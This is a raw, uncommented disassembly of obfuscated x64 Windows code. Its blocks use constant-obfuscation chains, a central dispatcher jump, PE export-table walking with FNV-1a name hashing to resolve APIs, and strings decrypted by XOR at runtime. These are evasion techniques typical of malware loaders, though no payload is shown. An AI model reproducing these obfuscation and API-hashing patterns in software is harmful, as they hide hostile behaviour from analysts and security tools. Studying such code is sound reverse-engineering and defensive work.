rol eax, 0x3a
popf
jmp 0x1400730eb
mov ecx, 0x23f70aaa
pushf
not ecx
add ecx, 0x693b9d41
xor ecx, 0x6314c061
rol ecx, 0xdd
popf
pushf
not ecx
add ecx, 0xcb7a3c4
xor ecx, 0x23ec4d69
rol ecx, 0x86
popf
pushf
not ecx
add ecx, 0x6d0ccb92
xor ecx, 0x6c9754d0
rol ecx, 0x3d
popf
jmp 0x1400774c6
call rax
xor r15d, r15d
mov qword [0], r15
push rax
pushf
mov eax, 0x429322e9
pushf
not eax
add eax, 0x13c97a75
xor eax, 0x7a95259
rol eax, 0x52
popf
pushf
not eax
add eax, 0x7b8d0e36
xor eax, 0x1d5c94aa
rol eax, 0x75
popf
pushf
not eax
add eax, 0x359b41f5
xor eax, 0x52201e50
rol eax, 0xce
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x140077a4b
push rax
pushf
mov eax, 0x28ea42a0
pushf
not eax
add eax, 0x25d223d2
xor eax, 0x5e4d18da
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x4ac7792e
xor eax, 0x18fbb7c2
rol eax, 0xc8
popf
pushf
not eax
add eax, 0xcf337e7
xor eax, 0x94644fc
rol eax, 0x36
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x4f74ef97
pushf
not eax
add eax, 0x4ebc1942
xor eax, 0x152a3ff6
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x7684f336
xor eax, 0x1d46807
rol eax, 0x2f
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x96c040b9
pushf
not eax
add eax, 0x6173f40d
xor eax, 0x73f9866a
rol eax, 0x39
popf
pushf
not eax
add eax, 0x401b1d89
xor eax, 0x5802c174
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x269ab1d0
xor eax, 0x3c4808ac
rol eax, 0x65
popf
jmp 0x1400730eb
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rsi]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0xf39b8fda
pushf
not r9d
add r9d, 0x244f21c3
xor r9d, 0x2cbf0cd
rol r9d, 0xc1
popf
pushf
not r9d
add r9d, 0x26d9d8f4
xor r9d, 0x202701dd
rol r9d, 0xf6
popf
pushf
not r9d
add r9d, 0xe19b0c0
xor r9d, 0x6b6bef39
rol r9d, 0xab
popf
pushf
not r9d
add r9d, 0x28115a88
xor r9d, 0x6aa47fbf
rol r9d, 5
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140077c4f
push rax
pushf
mov eax, 0x84dc22bc
pushf
not eax
add eax, 0x60b7ee67
xor eax, 0x3c543b55
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x512d0f5
xor eax, 0x185d4b7f
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x3e0b9042
xor eax, 0x2f9947ee
rol eax, 0x1f
popf
pushf
not eax
add eax, 0x4a087e90
xor eax, 0x3cd202f
rol eax, 0x36
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x682da3d5
pushf
not eax
add eax, 0x19ef3b27
xor eax, 0x14770ff4
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x7b219756
xor eax, 0x35974a0c
rol eax, 0x7a
popf
pushf
not eax
add eax, 0x4dc7ab34
xor eax, 0x50ee1001
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x4f8055f4
xor eax, 0x7bc5302b
rol eax, 0x7c
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140077d97
push rax
pushf
mov eax, 0xcefdd853
pushf
not eax
add eax, 0x59279566
xor eax, 0x45f125de
rol eax, 0xad
popf
pushf
not eax
add eax, 0x2ef8c44f
xor eax, 0x6dae6d62
rol eax, 0xef
popf
pushf
not eax
add eax, 0x2115c637
xor eax, 0x4b926321
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x791d42c6
xor eax, 0x422dd9ca
rol eax, 0x9e
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xcc8c1659
pushf
not eax
add eax, 0x7180bd28
xor eax, 0x44416cbd
rol eax, 0x6a
popf
pushf
not eax
add eax, 0x6221575
xor eax, 0x50657692
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x7b5bb099
xor eax, 0x2c838aa
rol eax, 0xaa
popf
pushf
not eax
add eax, 0x361d27a4
xor eax, 0x779eaf2
rol eax, 0xb5
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x140077fec
push rax
pushf
mov eax, 0x46587311
pushf
not eax
add eax, 0x4150875f
xor eax, 0x6e529300
rol eax, 0x91
popf
pushf
not eax
add eax, 0x5698f49d
xor eax, 0x47fd5547
rol eax, 0xd7
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x9c9b0693
pushf
not eax
add eax, 0x736829c
xor eax, 0x24196a94
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x3e45d79
xor eax, 0x2ba8b31f
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x47d68521
xor eax, 0x4d6c4012
rol eax, 0xde
popf
jmp 0x1400730eb
mov qword [0x1400440d0], rax
push rax
pushf
mov eax, 0xb0e14633
pushf
not eax
add eax, 0xf2e5710
xor eax, 0x248f0459
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x544f840c
xor eax, 0x20bb4e81
rol eax, 0x8e
popf
pushf
not eax
add eax, 0x68b90d52
xor eax, 0x44b30d47
rol eax, 0x67
popf
pushf
not eax
add eax, 0x58f15151
xor eax, 0x232c55fd
rol eax, 1
popf
jmp 0x1400730eb
mov ecx, 0xf29398be
pushf
not ecx
add ecx, 0x5e36650e
xor ecx, 0x67a301f
rol ecx, 0xa7
popf
pushf
not ecx
add ecx, 0xc1ce163
xor ecx, 0x1d70b92c
rol ecx, 0x52
popf
jmp 0x1400780c4
call rax
mov rax, qword [0x140044148]
test rax, rax
jne 0x14007811c
push rax
pushf
mov eax, 0xe727ced5
pushf
not eax
add eax, 0x6282cca0
xor eax, 0x55c8db0c
rol eax, 0xc6
popf
pushf
not eax
add eax, 0x160edf22
xor eax, 0x5cb6c4db
rol eax, 0x7d
popf
pushf
not eax
add eax, 0x1ad3aa7
xor eax, 0x5c06bddf
rol eax, 0x7f
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x7c369175
pushf
not eax
add eax, 0x7d6db491
xor eax, 0x11bbb52f
rol eax, 0x80
popf
pushf
not eax
add eax, 0x7c358da0
xor eax, 0x156d62ff
rol eax, 0xf8
popf
pushf
not eax
add eax, 0x2fe29b46
xor eax, 0x6f9e36fd
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x618b274e
xor eax, 0x64442ccf
rol eax, 0xeb
popf
jmp 0x1400730eb
dec r10d
lea rcx, [r11 + r10*4]
mov r8d, dword [rcx + rsi]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0xdea7854e
pushf
not r9d
add r9d, 0x167be5b1
xor r9d, 0x626eaec5
rol r9d, 0xe2
popf
pushf
not r9d
add r9d, 0x55d0d4d3
xor r9d, 0x4e521ed5
rol r9d, 0x38
popf
pushf
not r9d
add r9d, 0x2bfe3ddf
xor r9d, 0x5c330fa4
rol r9d, 0x53
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x14007840c
push rax
pushf
mov eax, 0x853bd500
pushf
not eax
add eax, 0x16945687
xor eax, 0x30e7b96c
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x11bea1ab
xor eax, 0x279a10b9
rol eax, 0xd
popf
pushf
not eax
add eax, 0x41dd77b6
xor eax, 0x3a4114d5
rol eax, 0xa1
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xd13e48d7
pushf
not eax
add eax, 0x25125d65
xor eax, 0x7a63d456
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xed9d14
xor eax, 0x1c9ebcb5
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x30ff869c
xor eax, 0x3eab61d3
rol eax, 0x7a
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x140078725
push rax
pushf
mov eax, 0xc9819fc7
pushf
not eax
add eax, 0x2900305c
xor eax, 0x87d3752
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x18ea37e4
xor eax, 0x11dd7a9f
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x6a594116
xor eax, 0x3dfca2fa
rol eax, 0x10
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x2abf0f31
pushf
not eax
add eax, 0x732078e
xor eax, 0x2862ce3b
rol eax, 0xe1
popf
pushf
not eax
add eax, 0x10a23a1d
xor eax, 0x6127a062
rol eax, 0x70
popf
pushf
not eax
add eax, 0x798b3ea3
xor eax, 0x255bf4fc
rol eax, 0xa9
popf
jmp 0x1400730eb
movabs r15, 0x733fdf458516d3d9
pushf
not r15
add r15, 0x783c7e08
xor r15, 0x7d1fccf1
rol r15, 0x45
popf
pushf
not r15
add r15, 0x462cf016
xor r15, 0x6b284d1a
rol r15, 0xc0
popf
pushf
not r15
add r15, 0x587fe8c9
xor r15, 0xfa805dc
rol r15, 0x9e
popf
pushf
not r15
add r15, 0x624ef36e
xor r15, 0x6b32b92f
rol r15, 0x1c
popf
mov qword [rbp + 0x60], r15
movabs rdi, 0x4e00d49694fc336a
pushf
not rdi
add rdi, 0x6514c5e8
xor rdi, 0x6b76e05b
rol rdi, 0x37
popf
pushf
not rdi
add rdi, 0x3bed840f
xor rdi, 0x7ec493ea
rol rdi, 0x77
popf
pushf
not rdi
add rdi, 0x6cd15bd0
xor rdi, 0x3eeb155b
rol rdi, 0x72
popf
pushf
not rdi
add rdi, 0xd30b745
xor rdi, 0x692014aa
rol rdi, 0x65
popf
mov qword [rbp + 0x68], rdi
movabs rsi, 0x66b96e39fe40136c
pushf
not rsi
add rsi, 0x55c17562
xor rsi, 0x6bc1a5cb
rol rsi, 0xf7
popf
pushf
not rsi
add rsi, 0x4783645e
xor rsi, 0x78412093
rol rsi, 0x8e
popf
pushf
not rsi
add rsi, 0x2b67e122
xor rsi, 0x4ec481bf
rol rsi, 0x23
popf
pushf
not rsi
add rsi, 0x2b9a92b5
xor rsi, 0x1ba1a62d
rol rsi, 0x93
popf
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rdi
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
jmp 0x140078915
call rax
movabs rax, 0xc6b447db19d85b13
pushf
not rax
add rax, 0x5819b856
xor rax, 0x584aea82
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x261017f
xor rax, 0x78f984f5
rol rax, 0xe4
popf
pushf
not rax
add rax, 0xd96587a
xor rax, 0x330b277
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x48ca76a2
xor rax, 0x7fb999fe
rol rax, 0xec
popf
mov qword [rbp - 0x50], rax
movabs rax, 0xf58bc90864c9f3bb
pushf
not rax
add rax, 0x707b454
xor rax, 0x6d16c0ac
rol rax, 0x7d
popf
pushf
not rax
add rax, 0x303d91f7
xor rax, 0x68b109dc
rol rax, 0x12
popf
pushf
not rax
add rax, 0x2da55e60
xor rax, 0x8052254
rol rax, 0x83
popf
pushf
not rax
add rax, 0x41cbd35d
xor rax, 0x3800e0fa
rol rax, 0x3c
popf
mov qword [rbp - 0x48], rax
movabs rax, 0x408f7f93fe759460
pushf
not rax
add rax, 0x4510bc6d
xor rax, 0x22007407
rol rax, 0x87
popf
pushf
not rax
add rax, 0x2df0bb8c
xor rax, 0x68077cce
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x6aa597fa
xor rax, 0x342c223f
rol rax, 0x98
popf
pushf
not rax
add rax, 0x3884f850
xor rax, 0x9555a0
rol rax, 0xe1
popf
mov qword [rbp - 0x40], rax
movabs rax, 0x92f00a1a2e2f4cf3
pushf
not rax
add rax, 0x21658d0a
xor rax, 0xe24dc24
rol rax, 0xcf
popf
pushf
not rax
add rax, 0xdf231c1
xor rax, 0x3a486930
rol rax, 0x95
popf
pushf
not rax
add rax, 0x3ae1a2f2
xor rax, 0x7c363579
rol rax, 0x25
popf
pushf
not rax
add rax, 0x2bc0dc5d
xor rax, 0x7ed2169e
rol rax, 0x97
popf
mov qword [rbp - 0x38], rax
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rdi
movabs rax, 0x51599725a269b0ba
pushf
not rax
add rax, 0x3902ccaa
xor rax, 0x78f72def
rol rax, 0x50
popf
pushf
not rax
add rax, 0xa4a6844
xor rax, 0x6b45120
rol rax, 0x2b
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x2c184b0b3704e04f
pushf
not rax
add rax, 0x77eb5cd7
xor rax, 0xaf9fb8
rol rax, 0x5b
popf
pushf
not rax
add rax, 0x6abe3052
xor rax, 0x171bfa98
rol rax, 0x57
popf
mov qword [rbp + 0xa8], rax
movdqa xmm0, xmmword [rbp + 0x90]
xorps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [rbp + 0xa0]
xorps xmm1, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm1
lea rcx, [rbp - 0x50]
call fcn.1400bd74e
mov rax, qword [0x140044130]
test rax, rax
jne 0x140078bcc
push rax
pushf
mov eax, 0xed48779c
pushf
not eax
add eax, 0x2ac6dad7
xor eax, 0xc24b30e
rol eax, 0x38
popf
pushf
not eax
add eax, 0x457a162c
xor eax, 0x7191d1a8
rol eax, 0x23
popf
pushf
not eax
add eax, 0x21f2639e
xor eax, 0x1b22ec02
rol eax, 0x14
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xcd573ee2
pushf
not eax
add eax, 0x4fd86cb0
xor eax, 0x29d51cd0
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x498b6862
xor eax, 0x47adbf9e
rol eax, 0x17
popf
pushf
not eax
add eax, 0x645361a8
xor eax, 0x17178fe7
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x2ef9dd32
xor eax, 0x7426a607
rol eax, 0x7a
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x140078d0c
push rax
pushf
mov eax, 0xc8677230
pushf
not eax
add eax, 0x1c53bac4
xor eax, 0x178b55d4
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x1f33df7
xor eax, 0x3f9931c7
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x377271ea
xor eax, 0x12499756
rol eax, 0x16
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xd1987d01
pushf
not eax
add eax, 0x6ee62e6c
xor eax, 0x33dee2f2
rol eax, 0xc
popf
pushf
not eax
add eax, 0x5566ea9f
xor eax, 0x202d6c35
rol eax, 0x79
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x362fff93
pushf
not eax
add eax, 0x59a2f8da
xor eax, 0x2bff5c60
rol eax, 9
popf
pushf
not eax
add eax, 0x53d2b293
xor eax, 0x388e4681
rol eax, 0xf4
popf
jmp 0x1400730eb
dec r10d
lea rcx, [rsi + r10*4]
mov r8d, dword [rcx + r11]
push r11
not r11
sub r8, r11
pop r11
sub r8, 1
mov r9d, 0xb62cb3d9
pushf
not r9d
add r9d, 0x1a70ee4d
xor r9d, 0x76c6b78c
rol r9d, 0x10
popf
pushf
not r9d
add r9d, 0x4a6aa3b
xor r9d, 0x9e0d718
rol r9d, 0x48
popf
pushf
not r9d
add r9d, 0x681c2200
xor r9d, 0x6cb80029
rol r9d, 0x14
popf
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140078ebe
push rax
pushf
mov eax, 0x6ac03610
pushf
not eax
add eax, 0x20fa1ea2
xor eax, 0x7003aa1
rol eax, 0x67
popf
pushf
not eax
add eax, 0x445fa4bb
xor eax, 0x63b1e33a
rol eax, 0xad
popf
pushf
not eax
add eax, 0x214eccad
xor eax, 0x3363b477
rol eax, 0xe0
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xff36e5f8
pushf
not eax
add eax, 0x5b186901
xor eax, 0x3d6cd2c3
rol eax, 0x49
popf
pushf
not eax
add eax, 0x598e5303
xor eax, 0x3eeabc53
rol eax, 0x40
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0x74ae0a3
pushf
not eax
add eax, 0x23704c2d
xor eax, 0x61177ce3
rol eax, 0x79
popf
pushf
not eax
add eax, 0x7e8e4834
xor eax, 0x1d419512
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x8005664
xor eax, 0x4f2f60f3
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x42acf38
xor eax, 0x6972520c
rol eax, 0x67
popf
jmp 0x1400730eb
mov rax, qword [0x1400440b8]
test rax, rax
jne 0x1400794d1
push rax
pushf
mov eax, 0x7a376b6
pushf
not eax
add eax, 0x4f6387ca
xor eax, 0x79a2409
rol eax, 0x28
popf
pushf
not eax
add eax, 0x423fb9e1
xor eax, 0x58e6bc4d
rol eax, 0x98
popf
pushf
not eax
add eax, 0x455851b
xor eax, 0x7aa498f7
rol eax, 0x48
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xd1e07793
pushf
not eax
add eax, 0x336b2ace
xor eax, 0x1e49e9fd
rol eax, 0x28
popf
pushf
not eax
add eax, 0x1e004a20
xor eax, 0x5a9982a0
rol eax, 0x31
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x1400795c4
push rax
pushf
mov eax, 0xf8202482
pushf
not eax
add eax, 0x1e736f36
xor eax, 0x3dd98db0
rol eax, 0x7b
popf
pushf
not eax
add eax, 0x458811e5
xor eax, 0x2cabb8dc
rol eax, 0x3d
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xf88229a4
pushf
not eax
add eax, 0x5a6a1afd
xor eax, 0x19ba4c88
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x46d9e4c8
xor eax, 0x6a4dbcbb
rol eax, 0xa0
popf
pushf
not eax
add eax, 0x70def1da
xor eax, 0x3098141b
rol eax, 0x2b
popf
jmp 0x1400730eb
mov esi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x2c7c28a4
pushf
not eax
add eax, 0x382dacf
xor eax, 0x5e19598c
rol eax, 0x70
popf
pushf
not eax
add eax, 0xd4d0280
xor eax, 0x21a678a0
rol eax, 0x9e
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0x40b8c677
pushf
not eax
add eax, 0x63b8537d
xor eax, 0x41fa2ca0
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xbaee600
xor eax, 0x76222b79
rol eax, 0x77
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140079899
push rax
pushf
mov eax, 0x49c4c928
pushf
not eax
add eax, 0x70991573
xor eax, 0xed8b22c
rol eax, 0x97
popf
pushf
not eax
add eax, 0x7bfd4eb4
xor eax, 0x48e948d2
rol eax, 0x1f
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x68a77537
pushf
not eax
add eax, 0x745123b7
xor eax, 0x796922d
rol eax, 0x66
popf
pushf
not eax
add eax, 0x33a33553
xor eax, 0x71bd0f61
rol eax, 0x78
popf
pushf
not eax
add eax, 0x29475034
xor eax, 0x660a8426
rol eax, 0xb6
popf
pushf
not eax
add eax, 0x433f1959
xor eax, 0x43b7d9c0
rol eax, 0x69
popf
jmp 0x1400730eb
test r10d, r10d
jne 0x1400799e9
push rax
pushf
mov eax, 0xc4d21a36
pushf
not eax
add eax, 0x57dfe836
xor eax, 0xdef219c
rol eax, 0x86
popf
pushf
not eax
add eax, 0x10e8a8a7
xor eax, 0x1fe637ff
rol eax, 0x60
popf
pushf
not eax
add eax, 0x18ecc29c
xor eax, 0x71210a55
rol eax, 0xa3
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x78628365
pushf
not eax
add eax, 0x758fc8ae
xor eax, 0x1944e5a
rol eax, 0xfc
popf
pushf
not eax
add eax, 0x6c0b51fc
xor eax, 0x3c3fc2ca
rol eax, 0x9d
popf
jmp 0x1400730eb
mov qword [0x1400440b8], rax
movabs rdi, 0x51ad490030670333
pushf
not rdi
add rdi, 0x306ba02a
xor rdi, 0xfc68c6b
rol rdi, 0x6b
popf
pushf
not rdi
add rdi, 0x21d21a02
xor rdi, 0x7527296
rol rdi, 0xfe
popf
pushf
not rdi
add rdi, 0x2fff2ed1
xor rdi, 0x49b2e247
rol rdi, 0xbf
popf
movabs rsi, 0x60e83e358966c824
pushf
not rsi
add rsi, 0x10d8b9f3
xor rsi, 0x2a57a00a
rol rsi, 0x22
popf
pushf
not rsi
add rsi, 0xa481e10
xor rsi, 0x38446110
rol rsi, 0x68
popf
push rax
pushf
mov eax, 0xcdc646f4
pushf
not eax
add eax, 0x1de4d5f8
xor eax, 0x6efc7c80
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x9ecff04
xor eax, 0x95f7261
rol eax, 0x20
popf
pushf
not eax
add eax, 0x6ba987ce
xor eax, 0x38ea1574
rol eax, 0xbd
popf
jmp 0x1400730eb
mov qword [rbp + 0x20], r15
mov qword [rbp + 0x28], rdi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rdi
movdqa xmm0, xmmword [rbp - 0x80]
xorps xmm0, xmmword [rbp + 0x20]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
jmp 0x140079c37
call rax
nop
movzx edx, byte [rsp + 0x70]
lea rcx, [rbp - 0x30]
call fcn.140093af5
lea rcx, [rbp - 0x30]
call fcn.14008cde0
nop
movzx edx, byte [rsp + 0x70]
lea rcx, [rbp + 0x90]
call fcn.140093af5
lea rcx, [rbp + 0x90]
call fcn.14008cde0
nop
mov rax, qword [0x140044140]
test rax, rax
jne 0x140079cd9
push rax
pushf
mov eax, 0x5adfc127
pushf
not eax
add eax, 0xb6ef125
xor eax, 0x5d58a1a8
rol eax, 0xa3
popf
pushf
not eax
add eax, 0x2d078474
xor eax, 0x5a58290a
rol eax, 0x59
popf
pushf
not eax
add eax, 0x3fcedb29
xor eax, 0x4ce47d26
rol eax, 0x14
popf
pushf
not eax
add eax, 0x4debdc8e
xor eax, 0x24ccee66
rol eax, 4
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xaf5cfd14
pushf
not eax
add eax, 0x6ac58aba
xor eax, 0x642e1de8
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x5d2aeb25
xor eax, 0x6cb346d1
rol eax, 0x82
popf
pushf
not eax
add eax, 0x63160043
xor eax, 0x49a63e74
rol eax, 0xcb
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x140079dd7
push rax
pushf
mov eax, 0xc0ab6619
pushf
not eax
add eax, 0x5818093a
xor eax, 0x53a08071
rol eax, 0x3f
popf
pushf
not eax
add eax, 0x7f0129b3
xor eax, 0xb7c017
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x6b6af769
xor eax, 0x5c7e1602
rol eax, 0x27
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x7506119d
pushf
not eax
add eax, 0x1c8f0dbb
xor eax, 0x3f224810
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xa07d95c
xor eax, 0x3db27775
rol eax, 0x9c
popf
jmp 0x1400730eb
nop
push rax
pushf
mov eax, 0x95f9da0a
pushf
not eax
add eax, 0x58caf1f2
xor eax, 0x3b91a0c
rol eax, 0x91
popf
pushf
not eax
add eax, 0x668ba682
xor eax, 0x765ec828
rol eax, 0x18
popf
pushf
not eax
add eax, 0x5a02664a
xor eax, 0xa7320ed
rol eax, 0xff
popf
pushf
not eax
add eax, 0x1c48dc35
xor eax, 0x96dae5b
rol eax, 0x69
popf
jmp 0x1400730eb
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
push rcx
not dword [rsp]
and dword [rsp], r9d
push r9
not r9d
and ecx, r9d
pop r9
or ecx, dword [rsp]
add rsp, 8
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x14007a0df
push rax
pushf
mov eax, 0x67abc01c
pushf
not eax
add eax, 0x61ba54d8
xor eax, 0x41e3e569
rol eax, 0x23
popf
pushf
not eax
add eax, 0x782fc38
xor eax, 0x28174da2
rol eax, 0xda
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x92e0a417
pushf
not eax
add eax, 0x77e0fa26
xor eax, 0x21315f45
rol eax, 2
popf
pushf
not eax
add eax, 0x5c9ff65e
xor eax, 0x60017a50
rol eax, 0xc7
popf
pushf
not eax
add eax, 0x68e027b4
xor eax, 0x7bb5e89e
rol eax, 0xb1
popf
jmp 0x1400730eb
test r10d, r10d
jne 0x14007a242
push rax
pushf
mov eax, 0x81e5f74f
pushf
not eax
add eax, 0x3da82e72
xor eax, 0x1b244f45
rol eax, 0xbf
popf
pushf
not eax
add eax, 0x1a63b247
xor eax, 0x79e7c6e4
rol eax, 0xff
popf
pushf
not eax
add eax, 0x5922da55
xor eax, 0x45a3b8cb
rol eax, 0x33
popf
pushf
not eax
add eax, 0x3f957b3e
xor eax, 0x7701d798
rol eax, 0xf8
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0x76911b5d
pushf
not eax
add eax, 0x275f792f
xor eax, 0xea786ed
rol eax, 0x69
popf
pushf
not eax
add eax, 0xff72078
xor eax, 0x3c40987b
rol eax, 0xd9
popf
jmp 0x1400730eb
cmp qword [rdi + 0x30], 0
jne 0x14007a347
push rax
pushf
mov eax, 0x1985ce3
pushf
not eax
add eax, 0x48205b90
xor eax, 0x2febfe8
rol eax, 0x79
popf
pushf
not eax
add eax, 0x270d1ed2
xor eax, 0x30b120d8
rol eax, 0x9e
popf
pushf
not eax
add eax, 0x51c10e6c
xor eax, 0x663b8b46
rol eax, 0x14
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xcc7ebf3b
pushf
not eax
add eax, 0x52a8b123
xor eax, 0x6394600f
rol eax, 0xa1
popf
pushf
not eax
add eax, 0x4718daf2
xor eax, 0x507d466b
rol eax, 0xe
popf
pushf
not eax
add eax, 0x3a0d6e5c
xor eax, 0x5bc1a9c5
rol eax, 0x77
popf
pushf
not eax
add eax, 0x44b394b0
xor eax, 0x21605729
rol eax, 0x45
popf
jmp 0x1400730eb
mov qword [0x140044140], rax
movabs rdi, 0xebe898810a6e5d9b
pushf
not rdi
add rdi, 0x3c74f088
xor rdi, 0x130f4862
rol rdi, 0x61
popf
pushf
not rdi
add rdi, 0x1681bfa4
xor rdi, 0x1c74af92
rol rdi, 0x77
popf
pushf
not rdi
add rdi, 0xffe5a35
xor rdi, 0x7a21b8b7
rol rdi, 0x44
popf
movabs rsi, 0x1bfde89352d3289c
pushf
not rsi
add rsi, 0x8e49dfb
xor rsi, 0x7c29e70c
rol rsi, 0xdd
popf
pushf
not rsi
add rsi, 0x59c2afca
xor rsi, 0x50359997
rol rsi, 0xa0
popf
push rax
pushf
mov eax, 0xd8b398fb
pushf
not eax
add eax, 0x3da8442e
xor eax, 0x6d6aaf2f
rol eax, 0x28
popf
pushf
not eax
add eax, 0x452bded
xor eax, 0x6a5d4f50
rol eax, 0xca
popf
pushf
not eax
add eax, 0x10dae191
xor eax, 0x276d0057
rol eax, 7
popf
pushf
not eax
add eax, 0x589c83fe
xor eax, 0x3411e808
rol eax, 0x46
popf
jmp 0x1400730eb
mov r11, qword [rdi + 0x30]
movsxd rax, dword [r11 + 0x3c]
mov ebx, dword [rax + r11 + 0x88]
push r11
not r11
sub rbx, r11
pop r11
sub rbx, 1
cmp rbx, r11
je 0x14007a6e2
push rax
pushf
mov eax, 0x9ba14f17
pushf
not eax
add eax, 0x5ac6fe7f
xor eax, 0x55ef64cd
rol eax, 0x90
popf
pushf
not eax
add eax, 0x3034fee1
xor eax, 0x648a9c16
rol eax, 0xd8
popf
jmp 0x1400730eb
push rax
pushf
mov eax, 0xf55ac66f
pushf
not eax
add eax, 0x288e102
xor eax, 0x1b49aa3e
rol eax, 0x71
popf
pushf
not eax
add eax, 0x62a6fa7d
xor eax, 0x50cdad
rol eax, 0xaf
popf
jmp 0x1400730eb
xor eax, eax
